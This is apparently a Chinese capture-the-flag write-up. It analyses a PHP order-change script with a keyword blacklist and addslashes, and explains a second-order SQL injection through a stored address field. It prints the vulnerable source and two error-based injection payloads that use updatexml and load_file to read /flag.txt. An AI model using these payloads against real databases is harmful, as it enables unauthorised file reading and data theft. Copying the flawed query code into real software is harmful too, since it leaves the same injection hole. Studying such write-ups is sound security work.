源码

  1. <?php
  2. # change.php
  3. require_once "config.php";
  4. if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
  5. {
  6. $msg = '';
  7. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
  8. $user_name = $_POST["user_name"];
  9. $address = addslashes($_POST["address"]);
  10. $phone = $_POST["phone"];
  11. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
  12. $msg = 'no sql inject!';
  13. }else{
  14. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
  15. $fetch = $db->query($sql);
  16. }
  17. if (isset($fetch) && $fetch->num_rows>0){
  18. $row = $fetch->fetch_assoc();
  19. $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
  20. $result = $db->query($sql);
  21. if(!$result) {
  22. echo 'error';
  23. print_r($db->error);
  24. exit;
  25. }
  26. $msg = "订单修改成功";
  27. } else {
  28. $msg = "未找到订单!";
  29. }
  30. }else {
  31. $msg = "信息不全";
  32. }
  33. ?>

我们发现一个有趣的地方就是,如果我们前面设置的address是一个带有单引号的address,前面我们再更新的时候并不会出现任何问题,比如’suzhou因为经过addslashes转义后单引号变为\’suzhou插入进去,但是在mysql存储的时候却仍然为’suzhou
这样的话我们在取出数据的时候就有问题了
old_address=’’suzhou就形成了一个闭合而后面的就会报错

  1. if (isset($fetch) && $fetch->num_rows>0){
  2. $row = $fetch->fetch_assoc();
  3. $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
  4. $result = $db->query($sql);
  5. if(!$result) {
  6. echo 'error';
  7. print_r($db->error);
  8. exit;
  9. }

比如
这样的情况1GB@3R[T`32$IS]OP2(O2KD.pngQ2BEQ~X9{7YOPS@GR)OT8M2.png]IP({Y}6}C6D_I1913UCB@6.png那么我们就可以利用报错注入来获取一些信息了
paylaod:

  1. 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
  2. 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),21,50)),0x7e),1)#